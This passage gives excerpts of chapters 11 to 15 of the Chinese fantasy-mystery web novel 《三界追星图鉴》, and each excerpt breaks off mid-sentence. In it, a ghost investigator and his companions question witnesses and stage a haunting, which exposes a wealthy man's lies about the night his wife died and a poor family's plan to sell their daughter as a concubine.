赵财主双目竖起,瞪着趴着跪地的管家,整个人被气得不停喘粗气。 管家见状,立刻爬起来抱住他的腿,急促道:“是真的老爷!我那晚真的听到了!就是我起来巡夜的时候!我刚出门就听到一声敲门声,然后就有人开门了,那奸夫开口就问你男人不在家吗?接着就是夫人的声音!夫人说你怎么才来?接着就是关门声!然后,然后他们好像就进去了!!” 管家神色焦急,甚至因为急于想要让人信任他的话,眼角都逼出了泪。 喻遥冷静道:“既然如此,那你为何早没有将此事报告府衙?” 管家手上仍抱着赵财主的大腿,喃喃道:“你们也看到老爷的样子了,我若说出此事,如果是假的,我定不会好过,如果是真的,我此举,我此举....” 管家飞速瞟了赵财主一眼,极小声道:“岂不是将老爷被戴绿帽子的事公之于众!” “我去你妈的!”赵财主又蹬起一脚将管家踹倒了。 “你冷静。”喻遥轻碰了一下赵财主,朝管家道:“你说你起来巡夜时听到的,那后来呢?可又发生了什么?” 管家道:“后来我也不敢靠近老爷夫人的房间,我就去巡另一边了,等我回来,刚要回自己房间,我又听到了敲门声!” “第二次和第一次不同,第二次很急躁,是连续的,一直敲一直敲,就好像非让对方开门似的。这就有点奇怪了,我刚想去看看,但是刚迈开步子就觉得脚下像踩棉花一样变得很软,头也很晕迈不开步子,缓了好一阵才恢复,之后那敲门声就没了,我还以为是自己挨不住困倦犯迷糊了,也未多想,见没声了,就回屋了。” “再之后,没过多久,我就听到老爷的呼救声了。” “所以,一共有两次敲门声。”喻遥道:“出事和你听到第一次敲门声,中间隔了多久?” “我想想啊。”管家手搓了搓下巴,思考后道:“大概得有半个多时辰吧。” 喻遥问道:“赵老爷刚才说取冰到您发现夫人出事,中间隔了近半个时辰,而管家在听到第一次敲门声和出事相隔半个多时辰,也就是说,第一次敲门声,是发生在老爷您出门取冰之前,那个时间您在屋中吗,可有听到管家所说的声音?” “绝对没有!”赵财主未经多想当即否认,道:“那天自傍晚起,我就与夫人在一处从未分开过,根本没听到什么敲门声,更没有听到这厮说的什么偷情之语!” “你说!”赵财主手一指管家,上去揪住他的领子,喝道:“你什么居心?!” 海猛急忙上去拉人,生怕赵财主激动把人打了。 阿宋心声传音道:“怎么回事?” 喻遥回道:“两次敲门声,一短促,一急促,第一次开门快,第二次敲了很久也没开门,想来,第一次应是熟人,第二次才是那邪物。” 阿宋又道:“可是,赵财主不是否认了敲门声吗?难道管家说的是假话?” 喻遥道:“不知,但是依我之见,这管家此时没必要说假话,给自己的家主当众扣绿帽子,此举于他而言只有害处绝无益处。” 阿宋道:“那就是赵财主撒谎了,那他又为何要替自己出轨的妻子作掩饰呢?” 喻遥道:“也许,是爱面子,又或者是有 11. 不明所以 《三界追星图鉴》全本免费阅读 喻遥道:“身体受伤或是成魔时间不长,不到百年的魔体通常体质较弱。” 阿宋哦了一声。 “诶?”海猛突道:“阿宋妹子,你哦什么。” 啊这!聊得太过沉浸,阿宋一不小心直接哦出了声,忙摆手笑道:“没什么没什么。” 海猛眼神在二人身上来回流转,怀疑道:“你们俩是不是背着我偷偷聊什么呢?” “啊?”阿宋挠头,尬笑道:“没,没有啊。” 海猛眯起眼睛凑近打量阿宋脸色,笃定道:“肯定有!你看你一脸心虚!” 又猛地一拍自己胸脯道:“啊呀,咱们都是队友了,有什么事可以和我直接说的!” “好啊。”喻遥走上前,道:“在聊你很蠢,要加入吗?” 说是这么说,手上一把拽过旁边的阿宋快步向前走去,把海猛远远甩在后面。 “你!”海猛在后跳脚,边追边道:“你这个可恶的心机老鬼!他娘的等等我!” 赵财主家门脸看着有多富,与之相反,第二位受害者的家门脸看着就有多穷,自正面放眼望去,可见斑驳破旧的木门,发黄低矮的围墙,凹凸不平的墙体上裂痕尽现。 海猛告知,这第二位受害者家,是家贫穷农户,家中有对年长的父母,还有对刚成年不久的兄妹,死者正是妹妹,名为小秋。 喻遥思索道:“受害者们家庭情况不一致,年龄不一致,连家中所做营生也不一致。” 海猛上去刚要敲门,就看到门上挂的铁锁,道:“扑空了,家里没人,应该是有事出去了。”手朝回路一指道:“走吧,先回去,晚上再来。” 转身刚走几步就听见身后咻的一声,回头就发现喻遥不见了,而阿宋正仰头看着小秋家的院子围墙,围墙之内传来喻遥的斥声道:“麻烦!翻墙便是,还等个什么?!” 海猛三步窜到墙下,冲墙上指指点点,怒道:“你这个人,你怎么能随随便便闯到别人家里呢,这很没有礼貌!你知不知道?!” “顾虑这么多,难怪效率这么低。”喻遥哼道:“你有礼貌,爱进不进!” “我跟你讲不明白!“海猛气急转而和旁边阿宋说:“阿宋妹子我知道你是不会......” 眼前蓝色身影一闪,耳边又是咻的一声,下一秒围墙之内就传来阿宋抱歉的声音:“对不起海猛大人!!就这一次就这一次哈!” 海猛:“......” 海猛咆哮道:“你们!”猛一抱臂跨步而立,整个人横站在门口,冲院子里面哼道:“好好好,你们进!我是不会进的!” 里面喻遥悠然道:“好啊,正好狗回家了,你在门口看门。” 海猛暗骂道:“你他妈的。” 喻遥阿宋在院子里到处转悠了下,虽然贫穷,但院子收拾得倒也干净整洁,水缸、衣架、菜地,皆是寻常农户家的东西,见无奇怪之处,就进了里屋。 阿宋奇怪道:“虽说家里都死了人,但和赵财主府内完全不同,这家人的院子和里屋竟然一件白事物品都没有!” 喻遥道:“没有白事物件,倒有红事。”他边说,边指着身旁这间屋子里面。 阿宋往里瞧,那屋内床上,放着一件收叠整齐,颜色红艳亮眼的喜服。 二人自门口扫视这屋子,应是此处最大的一间主屋,床也照其他房间大一些,想来应是主人夫妻的房间。 喻遥道:“问问外面那个,这喜服是怎么回事。” 阿宋朝外面喊道:“海猛大人!这怎么有个喜服啊!” 海猛虽说自己人不进去,但心早着急地跟着一起飘进来了,他把那用锁链未锁紧的门推开了条缝,将脑袋卡进那条缝里,眼睛滴溜溜地观察院内动向。 一听阿宋声音,回答道:“哦那个啊,估计是给他们家小秋准备的,说来也是可惜了,这小秋姑娘原本家中已经为她定好婚事,不日就要出嫁了,谁想就在出嫁前几天,偏偏出了这种事!” 想到什么又提醒道:“诶你们偷进人家里就算了,可不要乱翻啊,回头府衙没法跟人解释的!” “你放心啦大人,我们绝对不会......” 说着一转头,阿宋惊道:“大人你在干什么?!” 喻遥不知何时已从门口窜到屋内床边,手里还将那件叠得格外工整的喜服抖散开了正在前前后后查看。 “哎呀大人!”阿宋张牙舞爪走到他旁边,道:“我们既然是偷偷进来的,就不要乱动留太多痕迹了,万一回头被人发现不好的!” 说着便从喻遥手里抽走那件喜服,打算重新叠好。 喻遥看着她顿了顿,哦了一声。 之后便走出门,冲外面喊道:“小秋姑娘的房间是哪一间?” 海猛看见他就来气,哼哼道:“西边那间。” 喻遥径直走向西屋,门刚一推开,就扑鼻一股霉味,扫视屋内一圈,发现此地空间甚为狭小,连明窗都没有,只有一间连通走廊的暗窗,故而也没有可以直射进来的阳光,一时之间连他一介魂体,冷不丁都不免觉得有些阴冷。 另一边阿宋抓耳挠腮几番尝试也叠不回那喜服原本的样子,只得尽力叠得规整些放回原位,而后出门找喻遥。 一进屋就捂着鼻子道:“这什么味,姑娘家怎么平时住这么阴冷的房间?” 喻遥蹲在地上,关注点在地上一个泥盆,瞧样子应当是个火盆,他手指在盆内捻搓起些许黑灰,放在鼻尖嗅了嗅。 阿宋道:“是什么?” 喻遥道:“树叶。” 阿宋道:“烧这个干什么?” 喻遥没说话,又看向桌上的蜡烛台,燃烧得几乎只剩下一个底根,下面还用一只缺了角的茶碗接着烛泪,已经凝固,待插上烛芯,便可再次使用。 又去开旁边木柜门查看一番,里面只有两三件衣物,皆很破旧,除此之外,就无它物。 二人走出去,海猛一见立刻想要将头从门缝里缩回来,未料头太大门又紧竟卡住缩不回去了,急得汗如雨下也愣是拔不出来,只好冲二人尴尬一笑。 喻遥走到他面前,无奈地叹了口气,手指举起指间泛光,在他脑门之上弹了个脑瓜崩,海猛当即感到自己额前受到一股强大的推力,别说头了,整个人一下子就从门缝里弹飞出去了。 海猛弹摔在门口草地上,疼得捂着脑门不住地揉,喻遥阿宋从墙里翻跃出来,阿宋小跑过来将海猛扶起,关心道:“海猛大人你没事吧?” 海猛心道格老子的这老鬼劲真大可真他娘的疼,但又面子比天大,嘴上只好道:“小事小事。” 一放下手,脑门却是个大大的红印。 阿宋噗嗤一声笑了。 喻遥没理这边,走向了旁边的邻居家,敲门开门揖礼询问,阿宋动动耳朵,离得太远听不清他们在说什么。 喻遥问了左边这家又去问了右边, 12. 大相径庭 《三界追星图鉴》全本免费阅读 喻遥的脸色阴沉的可怕,仿佛要活吃了她般,阿宋恐惧地下意识后退一步,哆哆嗦嗦道:“我,我,我也没犯错啊?” 喻遥又斥声道:“还动?!” 边说着,他手已抬起去触碰自己那片耳后金羽,阿宋暗道不好抬腿就要跑路,未料喻遥手速比她更为迅疾,她步子未迈开,喻遥手中金羽已朝她射出。 阿宋吓得大叫,猛一闭眼抱头蹲下,却未感受到疼痛,而是身后传来啷当一声。 有别的东西被击中了! 她仓皇间回头望去,那金羽正紧紧地钉嵌在院子拐角处的一根游廊柱上,扎得极深极重。 而那柱旁还站着一位男子,他死死地盯着那片金羽,吞咽了下口水,一脸恐惧后怕,因为,那金羽与他双眼相距极近,可想而知,那金羽镖打入粗柱之时,几乎是擦着他的眼瞳而过的。 原来喻遥说的是他! 阿宋不免一阵抚摸胸脯安抚自己受惊的小心脏,暗道真是吓死她了,还以为喻遥又没事闲的抽什么风了呢。 喻遥完全没注意到她的反应,越过她径直走到那男子面前,手指一挑,那刚还嵌得极深的金羽立刻听话的自己拔出,回到他的手掌间。 喻遥看着悬浮在自己手掌间的金羽,一脸淡漠道:“你是什么人,为什么要偷听我们说话?” “小人。”那男子吓得满脸是汗,眼睛垂着,道:“小人没想偷听,就是......路过,我是来找人的。” 阿宋走过来,道:“你上府衙找人,怎么不和衙役通报?还鬼鬼祟祟地自己在府衙里乱窜?” 男子仍是不敢抬头,道:“小人找过府衙,但是他们不同意,因为小人,没有合理的身份去看她。” 说着,他吸了一下鼻子,竟是忽然变得眼含热泪。 “你、你怎么还哭了?”阿宋错愕道:“你到底要找谁啊?” 那男子用洗的已经有些发白的袍袖拭去泪水,带着浓重的鼻音道:“小人想去看看,小秋姑娘的尸身。” 阿宋惊讶地一张嘴巴,喻遥问道:“你认得小秋姑娘?她的爹娘和兄长此刻就在门口,你可认识?为何不与他们一起来?” 闻言,那哭得可怜模样的男子,表情突然变得倔强,手用力一抹脸上泪水道:“我怎会不认识!他们这三个混蛋!” 阿宋更惊讶了,喻遥面上却平静,背过手道:“此话怎讲?据我所知,这小秋姑娘家中父母与兄长对其甚好,虽说出了意外很可惜,但是听说,若是没有出事,他们家人已为她寻好一个十分妥帖的夫家,不日便要嫁人,摆脱家中贫困,去过好日子了。” “胡说八道!”男子当即着急道:“公子,你被他们骗了!” 男子越说越激动,因为听到极荒谬的传言,气得手足无措,道;“他们哪里是嫁女儿,明明是卖女儿!” 男子向二人痛快倾诉,所言之意,小秋在家中并不受宠,父母重男轻女,宠爱儿子苛待女儿,小秋女子之身柔弱怕冷却自小就住在偏冷潮湿的小屋,年龄尚幼就已背负起家中的众多劳作事务,儿子则安逸享福,在蜜罐子里长大。 忍气吞声挨到成年,父母的剥削却并未停止。儿子意图娶妻,却因家中贫困掏不起彩礼钱,父母不愿儿子愿望落空,瞧着初长成的女儿便动起了歪心思,转眼就背着其找了一门婚事。 ——便是去给城中那位花心的孙财主做妾室。 父母从未想过女儿单纯年纪也小,若真入了那孙财主家,怎斗得过他那几个看着便不好惹的妻妾?一心只想着孙财主与他们早已说好,若女儿真能嫁入,必以巨额银两作为彩礼回报,那儿子娶妻的问题不就痛快解决了? “岂有此理!”阿宋气得一跺脚,道:“怎么会有爹娘这样对自己孩子啊!” 喻遥却只道:“那么,你又是如何得知这些的呢?你还没有告诉我们,你是谁?” 男子整理情绪,才顾得上揖礼,道:“小人名叫阿冬,其实,我与小秋姑娘已经互通心意,她是小人,是小人......”大小伙子说着说着脸也红了,道:“是小人的心上人。” 阿宋道:“啊?” 喻遥低头一笑,似早已知晓,又问道:“你二人既已互通心意,可有告知双方父母,还是说,那小秋姑娘的势利眼爹娘觉得你家世不如孙财主?” “公子猜得不错,小秋爹娘觉得小人家中贫困。”阿冬脸上没有埋怨,只有遗憾和抱歉,道:“小人家庭确实不如孙财主,甚至都算不上小康,确实无法给小秋优渥的生活条件。家中父母不日前因病皆亡,这些年来,家中积蓄也已为二老治病花的差不多了。父亲在世时,虽有一门手艺还算不错,但小人愚笨,也未传承下来。” 阿宋好奇道:“你父亲是做什么的?” 阿冬道:“家父是从医的,早年在南悦城还算有名。” 阿宋问道:“那你是?” 阿冬答道:“也是从医的。” 喻遥道:“你不是没传承下来吗?” “传承了,但没完全传承。”阿冬脸一红,道:“小人愚笨,学歪了,父亲医人,我医,家畜。” 阿宋:“......” 喻遥:“......” 也是了,城中大多数都是普通百姓,先不说家畜医治起来极为困难,且也不会有多少家庭,愿意花重金去医治自家牛羊猪鸡的。 喻遥道:“所以,你来这里找她,是想做什么呢?” 阿冬道:“我就是想再看看她,我舍不得她,我对不起她,如果不是我,她也不会死了。” 喻遥和阿宋对视一眼,道:“怎么回事?” “其实,出事那夜我曾与小秋见过一面。”阿冬道:“小秋与我互通心意,从小到大第一次违抗了自己的父母,誓死不嫁那孙财主,她爹娘和哥哥却完全不顾她的感受,只道是她发疯,关几天就听话了。” “小秋回家找父母理论前,曾与我约定相见时日,然约定时日已过多 13. 有心动也 《三界追星图鉴》全本免费阅读 喻遥道:“回来了?” 海猛嗯了一声,一脸遭老罪的表情,暗道怎么今天找他哭诉的人这么多,前有赵财主,后有小秋爹娘,而且还都怎么劝都劝不住。 阿宋道:“小秋爹娘走了?” 海猛点头,道:“安慰了很久,正好提到家里穷的连白事都做不起了,我就自掏腰包给了他们些安抚费,让他们先回去平复下心情,案子这边也承诺会尽快查明,他们心安了,自然就走了。” 喻遥呵一声,道:“海大人还真是好施乐善,有这闲钱不如给我一点?” 海猛皱眉道:“你莫名其妙阴阳怪气我干什么?” 喻遥闭上眼懒得理他,阿宋解释道:“他们走了,不是因为心安,而是因为目的达到了。” 阿宋将阿冬所言告知,海猛听了当即怒骂道:“格老子的,怎么会有这么混账的爹娘兄长?”还不解气,抬腿就要走:“妈的,老子找他们算账去!” “啊呀行了大人,当务之急是先找到那只魔,才好给小秋报仇,而且黎娘生死未卜,越早找到越有可能救一条人命。” 喻遥悠悠道:“此是正解。” 阿宋朝他乖巧一笑。 “哎!好吧!”海猛无奈道,拍拍阿冬的肩膀安慰道:“你放心,我们一定会尽快查明真相,回头等事了后,我也会去找小秋爹娘算账的!” 喻遥道:“除此之外,就没别的了?” 海猛疑惑道:“还有什么?” 喻遥道:“我在想,事情了解之后,小秋姑娘的尸身是不是,不应该按照寻常惯例返回原家,而是应该交由阿冬好好安置?” “有道理啊!”海猛笑着朝阿冬道:“你放心,这事我以城主身份允了!” 那阿冬当即喜悦难表,忙不停地给二人鞠躬道:“谢谢公子!谢谢城主大人!谢谢姑娘!” 觉得不够还要跪拜,海猛阿宋当即拦住,安抚好将阿冬劝说回家了。 阿冬走后,进来了个衙役,海猛以为是找他的,但衙役却朝他揖礼后,越过他去跟阿宋小声说话了,衙役走后,海猛道:“现在怎么办?不是色魔了,要从何查起?” 喻遥手捏在下巴上,道:“我在想,如果小秋和阿冬曾有过夫妻之实,那么赵夫人会不会其实也是和赵财主发生的。” “这个不会。”海猛道:“之前衙役问询的时候有问过这个,他已经否认了。” “那如果他撒谎了呢?” 海猛道:“这有什么好撒谎的,撒谎对他也没什么好处啊?” 喻遥道:“你怎么就知道没有好处?” 海猛挠头不解他意,阿宋道:“不知道大人你看到没有,那个赵财主手臂上,有一条疤。” 海猛道:“疤有什么奇怪的?我打了那么多年仗,身上到处都是。” “他的疤,疤样很新,看着像是个烫疤或者灼疤。”喻遥道:“受伤范围很大,疤痕表面颜色淡红,形态充盈肿胀,看着虽有好转但瘙痒感依旧很强烈。” “这种情况,是典型的赘生伤痕,而其形成原因,通常是由于伤者受伤后,没有得到及时正确的处理,或者是处理环境不洁导致的感染,而想要形成那天我们看到的形态,差不多也要一个月,巧的是,一个月前,刚好,就是赵夫人出事的时间。” 海猛道:“你们是觉得,他这伤是赵夫人出事那天弄的?会有这么巧?那也许是出事前后两天不注意受的伤呢?” 阿宋又道:“送狗中途路过府衙的时候,我有拜托衙役,在隐瞒赵财主本人的情况下,偷偷向他们府里下人们了解过。” “赵财主平日里身边固定贴身候着的,有两个手下和两个丫鬟,两个手下是平日里陪伴他从家往返商行工作的,两个丫鬟负责照顾他的衣食起居,这四人皆说不知他身上有这样的疤痕。” “尤其是那两个手下,还提到,赵财主身子重十分怕热,白日里爱出汗,商行空间密闭,人来人往更是闷热加倍,所以他平日在商行工作时,通常只穿一件无袖背褡,手臂若有伤痕,二人常伴其侧不会看不到,而且在出事前一天,他还是正常去商行的,至少那日,他二人还是没有看到伤痕的。” “而出事之后第二天,他就一直留在家中,如果受了那么重的伤,管家下人不会不知。” “这种伤,想要好得快,需得皮肤裸露在外,越透气好的才越快。”想到那日,赵财主伤痕暴露,第一反应就是去看她和喻遥的脸色,喻遥道:”受了伤,没有找任何下人帮自己处理,反而一直遮盖,在被人发现的时候,又是慌慌张张。” 喻遥道:“还记得他说当夜去冰窖取冰吗?你瞧他对下人的态度,四肢手脚健全连个药还让人喂,我怎么看都觉得他不是那种会体贴手下的人,半夜去冰窖找冰这种事,他会愿意自己去做?何况,妻子身体不适,正常来讲,难道丈夫不是更应该留在房间内照顾,让别人去寻冰吗?” “除非,这冰只能他自己寻,因为,寻冰的理由是不能告诉别人的,而且....”阿宋危险地眼睛眯起来,道:“这冰块,恐怕也不是要给夫人吃,而是要给自己用来缓适疼痛的。” 阿宋道:“所以,他撒了谎,当晚一定发生了什么,是与案子相关的,他没有告诉我们,甚至那个疤,也不是没有可能,是屋内的另一人,赵夫人造成的。” 海猛道:“难道他们俩那天晚上起了冲突,甚至还打起来了?” 喻遥道:“不无这种可能,但冲突的原因......” 海猛道:“会不会就是因为偷情被抓包啊?管家不是说了吗?” 喻遥道:“那赵财主为何不承认,他当夜确在府中,若当场抓包妻子偷情,岂不是会怒不可遏,怎么可能还会帮妻子说话?” “这...”海猛烦躁地抓了抓自己头发,道:“可能是,男人的面子嘛。” 喻遥一翻白眼,道:“你还是闭嘴吧。” 阿宋沉吟不语似在思索,喻遥见状道:“有想法可以尽情讲出来,是觉得,哪里有不对的地方?” “不不,没有。”阿宋回过神道:“我只是在想管家说的话,突然有个很莫名的猜测。” 喻遥道:“怎么?” 阿宋晃了晃脑袋,摆手道:“不不,我还是不说了。” “说!”喻遥看着她的双眼道:“你很聪明,你的想法也许有用。” 阿宋受到鼓励,便道:“那我就说了啊。” 清咳一声道:“我在想,那个管家所说的‘奸夫’,会不会就是赵财主本人?” 喻遥海猛双双满脸不解。 “就是,我曾经闲的时候在书上读过,有夫妻为增加房事乐趣,故作偷情之态来提升感受效果。但这毕竟是比较隐晦羞涩的东西,那赵财主会不会是,不想自己的个人癖好为人所知,所以才隐瞒的,就是,根本没有什么奸夫,他自己就是那个奸夫,但管家又给他扣了绿帽子,所以他才那么生气翻脸的。” 喻遥和海猛看着她都不说话了,一个若有所思。一个捂嘴偷笑, 阿宋很是尴尬,怒道:“我都说了不说了!很奇怪吗?你们怎么都不说话!” “不奇怪,我只是在想......”喻遥道:“你平时到底都在看些什么书?” 阿宋:“......” 她脸色一红,一吐舌头道:“话本杂书而已,随便看看。” “确实是种可能。”喻遥道:“但是具体情况如何,恐怕,我们今晚就要再走一趟赵府了。而且这一次,不走正门,要走屋顶。” 海猛疑惑道:“你想干什么?” 喻遥歪嘴一笑:“装神,弄鬼。” 计划已定,却尚未入夜,海猛道身体不适要回去休息一阵,晚上再与他二人汇合,喻遥阿宋无处可去,晚饭后便提前来赵府家踩点,踩好点,就待在赵财主的屋顶处躲藏休息。 阿宋无聊道:“也不知道海猛大人什么时候来。” 喻遥道:“他应该是去找大夫治疗他的腰伤旧疾了。” 阿宋疑惑道:“你怎么知道他有腰伤?” 喻遥将坐下时打褶的衣物抚平道:“学过一段时间医术,初见之时,就已看出。” “大人,你懂得真多。”阿宋羡慕了。 喻遥眉毛一挑,神色得意。 “那大人... 14. 装神弄鬼 《三界追星图鉴》全本免费阅读 喻遥阿宋探出身子朝下面望,海猛站在一处树后阴影里,朝他们打手势,指了指门口,又指了指他们脚下的屋子。 两人望去,见一肥硕身影缓慢朝屋子移动,是赵财主回屋了! 阿宋快速将喻遥手上缠绕的纱布打了个蝴蝶结作结尾,便一齐向后躲起,少顷听到门嘎吱一响,赵财主进屋了。 两人对视一眼点头,喻遥后退一步留出些空隙,在两人中间虚空画了一个圈,接着手掌向那个圈用力一抖,圆圈霎时泛出光芒,阿宋朝圈内望去,屋内场景尽显眼前。 屋内,赵财主一脸疲惫地走到桌旁的圆凳坐下,而后视线开始放空,脸色凝重静静发呆,似在思考什么。 喻遥和阿宋紧紧盯着他每一步动作,忽然,那赵财主表情一变,露出个得意洋洋的奸笑,眼中也流露出狡黠之意,一手扶着膝盖站起。 只见他走到床边,笨重的身体慢慢蹲下,一手伸到床底,从里掏出了个尺寸不算小的精致匣子,懒得起身干脆就直接坐在地上,把那匣子放在腿上又开启,从中拿出来个物件。 他背对着阿宋喻遥坐着,又头大身子大挡了个全,二人看不清他手里拿得到底是何物,只能大致看出是个红色的布料物件。 他将那物件捧起,在脸上蹭了蹭,身子也扭来扭去,发出兴奋又猥琐的笑声。 得意忘形间,他身子无意中侧开,匣子也从腿上滑落,其中物品散了一地,阿宋喻遥定睛望去,那精致匣子里的不是什么珍稀宝物,竟然是,女子的肚兜! 阿宋喻遥瞠目结舌。 那他脸上蹭的岂不也是...... 噫....... 阿宋道:“这才是真正的色魔啊。” “不对。”喻遥突然道。 “怎么了怎么了?”阿宋又朝赵财主看去。 喻遥道:“你看那肚兜的尺寸。” 阿宋眯起眼仔细看,发现那滚地的肚兜尺寸都颇小,应是身材较为纤瘦的女子之物,但不对啊,赵夫人明明是一个身材丰满的女子,难道?那肚兜是别的女子的?! 该不会?赵夫人当晚就是因为知道了这个事情,才跟他起冲突的吧。 喻遥道:“差不多了,去吧,行事机灵些。” 阿宋点头,二人站起身,喻遥运转灵息,抬起手握拳在阿宋面前又张开,接着手掌轮转一圈再次收紧成拳,转瞬间,阿宋的面部和身体就发生了变化,从一个瘦小的年轻女子,变成了丰满高挑的赵夫人,只是这赵夫人脸上看着没什么精神,脸色惨白,眼下两团黑,眼皮也耷拉着,蓬头垢面,穿着一身白衣,活像个被吸干阳气来索人命的女恶鬼。 阿宋已变成赵夫人的声音,道:“那我下去啦?” 喻遥抬起手在周围设下一个结界罩,将赵财主的房屋隔绝开来,后退几步朝阿宋点头应允。 下一秒,阿宋蹲下身狠狠一掌拍在屋顶,一声巨响,二人脚下的屋顶瓦片当即崩裂,整个屋顶瞬间中空,噼里啪啦的,阿宋伴随着碎裂的瓦片尘灰一齐从屋顶掉了下来。 屋内的赵财主被头顶突然的变动吓了一大跳,下意识就往床边缩。 阿宋落下之后,就以一个扭曲的姿势趴在地上,她伸出手将眼前挡住脸部的披散头发,从中间向两边扒开,露出面容。 月光自屋顶漏洞倾洒而入,照得她那张惨白的脸半明半暗,脸色难看,双眼空虚,没有血色的嘴唇笑得用力又狰狞。 如此阴森之景,赵财主吓得浑身战栗,两条腿更是抖如筛糠,见眼前女鬼盯着他,对上眼神却觉得其格外眼熟,强抑心中恐惧,害怕地一手捂着嘴,身子微微向前探去试图看清对方样貌。 而待他看清之时,却是身子猛地往后一退:“夫人,你你你你你怎么回来了?!” 视线又转到自己手里害怕都不忘攥着的肚兜,猛地一扔,急匆匆道:“夫人,你听我解释,我我我我不是故意拿的,我是偶然发现的,我不知道是谁放在这的!你知道的,我答应过你不会再偷藏别人肚兜的!” 赵夫人果然知晓此事! “是吗?”阿宋阴涔涔道,接着慢慢朝他爬近。 那赵财主一见她有动作,脑袋里轰隆一声,害怕地想要喊出声,但又怕此举刺激到眼前的‘夫人’,为保小命只好僵在原地,吓得一脸铁青,冷汗湿了整个后背。 “赵夫人”爬至他面前,眼睛自下而上地打量。突然!她一只长甲粗手迅疾伸出,狠狠地掐在赵财主的咽喉处。 赵财主瞪大双眼,下意识一脚踹在“赵夫人”身上,但她竟身子如铁完全不动。 “你找死?”赵夫人喝道:“说!你为何不将当晚的真实情况告诉那几个查案的?” 赵财主被掐得上不来气,脸也逐渐发紫,握着“赵夫人”掐在他咽喉之上的手腕,痛苦难忍眼泪迸发难以开口。 “赵夫人”手松了些许,赵财主才有气力道:“我错了夫人!我真的错了,但是我没办法呀,你知道的,我真的不能让别人知道我的秘密,知道了我的脸面要往哪里放,我怎么说也是城里一个有名的财主,要是知道了,我以后怎么抬得起头?” 阿宋疑惑暗道,到底多大秘密啊,这么在意?而且你的秘密和我们案子有个鬼的关系啊!不是你杀的人不就得了...... “赵夫人”接着道:“老娘死的这么惨,你还执着于顾着你的面子,好啊!你不说,那你也不必说了,我带你一起下黄泉!” 话音一落,“赵夫人”手上就要发力,赵财主双眼一瞪,急忙道等一下等一下。 “赵夫人”不耐烦道:“还有什么遗言?” 赵财主道:“我说,我说!” “赵夫人”一愣,似是怕她不相信,赵财主没有再躲避,反而双手握住她的手轻轻摩拭道:“夫人我会说的!我现在就去府衙,将当晚所有事情告诉他们!” “赵夫人”表情有所松动,道:“好啊,那你现在就去,我等你。” 说着便松开了手,从地上站起。 谁知,她刚转身 15. 神出鬼没 《三界追星图鉴》全本免费阅读 赵财主一脸心虚,瞄三人脸色都甚为严肃凝重,见没办法了才缓缓道:“我夫人确实不是突然发疯,她是因为那日我们结束之后,翻东西发现了我藏的肚兜才动怒的。” 阿宋冷笑道:“我就知道是因为这个,藏女孩肚兜,你这什么恶心的癖好?” 赵财主脸色渐渐难堪,道:“小人也不是有意的,小人藏这些东西,是有其他功效。” 海猛道:“能有什么功效,你要穿啊?” “不,不是,小人这体格,哪穿得下这个。”赵财主道:“小人是,望梅止渴,画饼充饥。” 海猛怒道:“这不还是单纯恶癖好吗?!” “是恶癖没错。”赵财主道:“但至少小人一开始是为了治病!” “啊?”阿宋海猛上下瞄了眼他身形,惊讶道:“你,你有什么毛病啊?” 赵财主垂下头,脸色渐渐泛红,紧紧咬着嘴唇,半晌似下了极大的决心道:“小人,小人有不举的毛病!” 空气中一阵静止。 喻遥道:“那你那晚?” “那晚!”赵财主道:“那晚是唯一成功的一次。实话讲,我夫人一直想要个孩子,但是从前几年起,我这身体突然就不行了,一开始找了几个大夫看,病没给我治好消息倒是传得挺远,小人怎么说也是个财主,出门在外做生意,消息传出去后,哪个生意伙伴总得背后多看我一眼,说我几句,我又爱面子,便花了些钱将那些知情人士都打发出城去了,也和那几个生意伙伴断了交,之后便封锁消息,也没有再看过新的大夫,一直喝着之前医生开的药方调养着。” “该不会就是你那天喝的药方吧?”海猛怒道:“那你他娘的还要给我喝?!” 赵财主露出歉意的笑,又道:“后来,偶然一次,大概是物品带来的心情刺激吧,我发现女子的肚兜竟对我有的病有改善的效果,所以每次与夫人行房事前,我就会看一看这些东西,谁知后面不知不觉地就成瘾了,开始到处偷藏他人之物。” “我夫人已经不是第一次发现了,前几次发现,我便立刻跪地讨饶,祈求她的原谅,她也确实原谅我了,那一晚,又被她发现,她是真忍无可忍了,整个人暴起与我起了冲突,大骂我是个废物,我也是个要面子的人啊!怎么能......容忍她这么骂我?我二人不知怎的就扭打起来了,混乱中我一不小心摔在了地上,她一气之下,一脚踹翻了地上的炭火盆,那炭火盆刚好砸在我身上。” 说着他掀起了自己的袖子,露出伤疤,道:“接着我就烧伤了。” “她吓坏了,我一时气极就一把将她推倒了,出门取冰治伤之前我跟她说。等我回来我一定要休了她!” 喻遥道:“那偷情的奸夫是怎么回事?” 赵财主有些不好意思道:“那个是小人,从话本上看来的偏方,说是夫妻假装偷情男女,有助于提升房事效果和感受,我跟夫人说好了,便说试一下,谁成想还被那个死管家听到了!” 阿宋双手打了个响指,道:“你看吧!我就说话本里真的有写!” 说完还得意地一挑眉,满脸写着:看看,我见多识广吧? 喻遥唇边勾起,露出个若有似无的笑容,很快恢复严肃又道:“可是这些东西,也不是不可以告诉府衙啊?” “是可以!”赵财主道:“但是小人后面闹了个乌龙,小人取完冰回来,就看到了夫人躺在浴盆之中自杀了,我当时以为,夫人是受不了我说要休了她的话,一时悲愤就寻了短见。” “我怕别人知道,就将事情的前半段闭口不谈了,编了个吃冰的谎话,直到后来仵作验尸过后告诉我,夫人不是自杀,是被别人害的,我才知道怎么回事,可是,我也不能这时候去跟府衙说了啊,我这一说,我不成证词作假了,还是少不得要吃牢饭啊!” 阿宋暗道原来竟是这么回事,兜了这么一大圈,耽误了多少事? 喻遥问道:“你这天雷咒哪里来的?” 赵财主道:“这是我跟城里一个道士买的!我那天在路上走,那道士突然喊住我,说我印堂发黑,今日家中必出了血事,之后还很轻易地就将我家中情况都说了出来,这还不算,后来他告诉我,说我夫人横死成了恶鬼,又遗愿未了,在我身上留了记号要回来找我索命。” “小人就是一个有钱的普通人,听到这种事吓都吓死了,我问他要怎么避开,他却说不必避开,等人来找我的时候,我用这天雷符轰死她就可以。” 阿宋道:“天雷符不是白给你的吧?” 赵财主道:“小人花了五千两买的。” “五千两!这么多!”喻遥瞪大眼睛,因为羡慕嫉妒恨情不自禁地握紧了拳头,半晌道:“以后钱有地方没处花了,可以给我。” 赵财主点头哈腰称是,喻遥仔细回忆,不记得在城中遇到过这么个道士,又问道:“那道士长什么样子?” 赵财主努力回忆了下,道:“他穿一身黑,还背了个大包,对了!他鼻子旁边还长了痣,痣上,还有根毛!” 阿宋和喻遥一对视,那不就是......黑老三?! 